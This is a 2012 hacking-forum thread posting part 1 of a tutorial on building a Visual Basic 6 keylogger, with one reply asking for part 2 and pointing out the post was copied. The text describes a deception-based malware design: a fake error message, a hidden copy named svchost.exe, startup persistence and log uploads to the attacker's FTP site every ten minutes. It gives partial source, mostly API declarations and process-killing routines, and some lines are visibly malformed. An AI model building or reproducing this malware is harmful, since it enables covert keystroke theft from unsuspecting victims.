

Forum:[Hack Forums](#)

Thread: [TUTORIAL \[How can you make your own keylogger based ob vb6 langaugage\]TUTORIAL](#)

WarrioR™ - May 16, 2012, 9:03 pm

CRIDIT -UNKNOWN

the keylogger that we will be doing is made in vb6.

(project1.exe)when run, error will pop saying "this is not a win32 application!" it's shocklabs brilliant idea, so when run the victim will think that it is a corrupt file or somethng and then "delete it" deleting it is possible because at the start of our project1.exe, project1.exe made a copy of itself in c:\recycler named svchost.exe terminating the "process of project1.exe and running svchost.exe in invisible mode" so we are logging his/her keystrokes now. svchost.exe has also embeded itself to startup, so everytime the computer starts are svchost.exe also starts and loggings keystrokes again and sends the logs.txt to our chosen FTP site every 10mins.

first we need to put a textbox(text1),2 timers(timer1,timer2)and INET(inet1) inet is microsoft internet trasfer control.

these are the API's and functions used
just copy and paste it before anything else:

source code

Option Explicit

```
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function EnumProcesses Lib "PSAPI.DLL" (lpidProcess As Long, ByVal cb As Long, cbNeeded As Long) As Long
Private Declare Function EnumProcessModules Lib "PSAPI.DLL" (ByVal hProcess As Long, lphModule As Long, ByVal cb As Long, lpcbNeeded As Long) As Long
Private Declare Function GetModuleBaseName Lib "PSAPI.DLL" Alias "GetModuleBaseNameA" (ByVal hProcess As Long, ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function CreateToolHelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private hForegroundWnd As Long
Dim a As Integer
Private Const PROCESS_VM_READ = &H10
```

```

Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String
MAX_PATH
End Type
Public i%
Const KillList = "project1.exe"

Public Sub ProcessKiller()
    Dim hSnapshot As Long, r As Long, PID As Long, q As Long, szExename As String, uProcess As PROCESSENTRY32, killa As String
    hSnapshot = CreateToolHelpSnapshot(2&, 0&)
    If hSnapshot = 0 Then Exit Sub
    uProcess.dwSize = Len(uProcess)
    r = ProcessFirst(hSnapshot, uProcess)
    Do While r
        i = InStr(1, uProcess.szExeFile, Chr(0))
        szExename = LCase$(Left$(uProcess.szExeFile, i - 1))
        PID = uProcess.th32ProcessID
        If InStr(1, KillList, StripFileName(szExename), vbTextCompare) Then KillProcessById PID
        r = ProcessNext(hSnapshot, uProcess)
    Loop
    Call CloseHandle(hSnapshot)
End Sub

Public Sub KillProcessById(p_IngProcessId As Long)
    Dim InghProcess As Long, IngReturn As Long
    InghProcess = OpenProcess(1&, -1&, p_IngProcessId)
    IngReturn = TerminateProcess(InghProcess, 0&)
End Sub

Public Function StripFileName(FilePAth As String) As String
    Dim Path As Variant
    If InStr(1, FilePAth, "\", vbTextCompare) > 0 Then
        Path = Split(FilePAth, "\")
        StripFileName = Path(UBound(Path))
    Else
        StripFileName = FilePAth
    End If
End Function

Private Function IsProcessRunning(ByVal sProcess As String) As Boolean
    Const MAX_PATH As Long = 260
    Dim IProcesses() As Long, IModules() As Long, N As Long, IRet As Long, hProcess As Long
    Dim sName As String
    sProcess = UCase$(sProcess)

```

```
ReDim IProcesses(1023) As Long
If EnumProcesses(IProcesses(0), 1024 * 4, lRet) Then
For N = 0 To (lRet \ 4) - 1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0,
IProcesses(N))
If hProcess Then
ReDim IModules(1023)
If EnumProcessModules(hProcess, IModules(0), 1024 * 4, lRet) Then
sName = String$(MAX_PATH, vbNullChar)
GetModuleBaseName hProcess, IModules(0), sName, MAX_PATH
sName = Left$(sName, InStr(sName, vbNullChar) - 1)
If Len(sName) = Len(sProcess) Then
If sProcess = UCase$(sName) Then IsProcessRunning = True: Exit Function
End If
End If
End If
CloseHandle hProcess
Next N
End If
End Function
```

THE END PART 1

JUST ASK ME HERE ABOUT PART 2

Ærion - May 17, 2012, 2:19 am

Thanks, I would like to see the part 2 !

But, there is a little bit problem : You are taking the entire post of another forum, posted in 2009, and ending with 8122-vb6-keylogger-tut-part1.html

I don't know if you are the author, but if you're not, give credits..